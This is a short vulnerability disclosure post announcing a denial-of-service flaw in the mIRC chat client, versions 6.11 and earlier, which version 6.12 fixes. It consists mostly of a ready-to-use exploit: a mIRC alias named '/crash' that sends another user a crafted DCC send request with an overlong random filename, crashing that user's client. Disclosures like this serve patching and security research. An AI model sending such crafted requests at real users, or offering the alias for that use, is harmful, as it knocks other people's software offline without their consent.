Mirc Dos 6.11 and below

["VeNoMouS" <venom () gen-x co nz>]

Pointless posting, but thought I would any way.

Vulnerable systems:
 * mIRC version 6.11 and prior

Immune systems:
 * mIRC version 6.12

It is possible to crash a mIRC client by sending a specially crafted DCC
request.

Exploit:
mIRC alias:
/crash { .raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+
$chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }